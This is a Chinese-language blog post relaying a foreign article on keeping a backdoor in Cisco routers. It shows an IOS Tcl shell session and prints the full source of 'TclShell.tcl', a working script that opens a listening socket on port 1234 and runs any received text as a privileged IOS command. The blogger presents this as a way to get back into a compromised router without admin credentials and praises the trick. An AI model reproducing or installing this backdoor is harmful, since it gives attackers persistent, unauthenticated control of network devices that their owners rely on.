今天逛国外站发现了一篇攻击Cisco路由器留后门的方法，虽然一年多没玩Cisco了，平时工作也用不到这东西，但是对Cisco还是那么热爱，呵呵！进入正题，这是一篇鸟语的文章，写的也不难，主要的意思就是拿到Cisco路由器的权限以后可以上传一个用TCL脚本语言写的后门程序到设备里面，以后就可以无需路由器管理权限远程Telne进路由器了，灰常给力！关于TCL脚本语言相信CCIE Security级别的Cisco高级玩家都比较熟悉，反正我当年学CCNP的时候课程里面几乎没怎么提到TCL脚本，这东西在Cisco下是个灰常给力的东西，可以帮助工程师完成很多蛋疼的活！例如：在设备上批量的去Ping一个IP地址段等操作。

1.写在前面的废话：

其实Cisco IOS 从12.3(2)T 开始就支持TCL脚本了，下面在7200路由器的12.4 IOS 来试验一下TCL脚本。

Router>
Router>enable
Router#tclsh
Router(tcl)#puts $tcl_version
8.3
Router(tcl)#package names
tbcload Tcl
Router(tcl)#info commands
tell socket subst open eof pwd glob list exec pid snmp_getone time eval lrange t
cl_trace fblocked lsearch gets case lappend proc break variable llength return l
insert snmp_getid error catch clock info split array if log_user fconfigure conc
at join lreplace snmp_setany source fcopy global switch snmp_getbulk update clos
e cd for file append format read package set binary namespace scan verify_signat
ure seek while flush after vwait snmp_getnext typeahead uplevel continue hostnam
e ios_config foreach rename fileevent regexp upvar unset encoding expr load regs
ub interp history puts incr lindex lsort string
Router(tcl)#

现在一条一条的解释上面的命令及其输出：

TCL脚本后门语法高亮显示如下图：

Source Code 如下：

# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "-------------------------------------"
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
puts $sock "-------------------------------------"
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock " "
puts $sock "Enter IOS command:"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 1234
set sh [socket -server callback $port]
vwait var
close $sh

----------------------------   I am 猥琐的分割线   ----------------------------------------

3.写在最后的废话：

TCL脚本的确是个不错的东西，建议Cisco玩家们都学学，无论是CCNA也好，CCNP也好，这东西都会给工作带来很大帮助，想学的就猛击这里吧。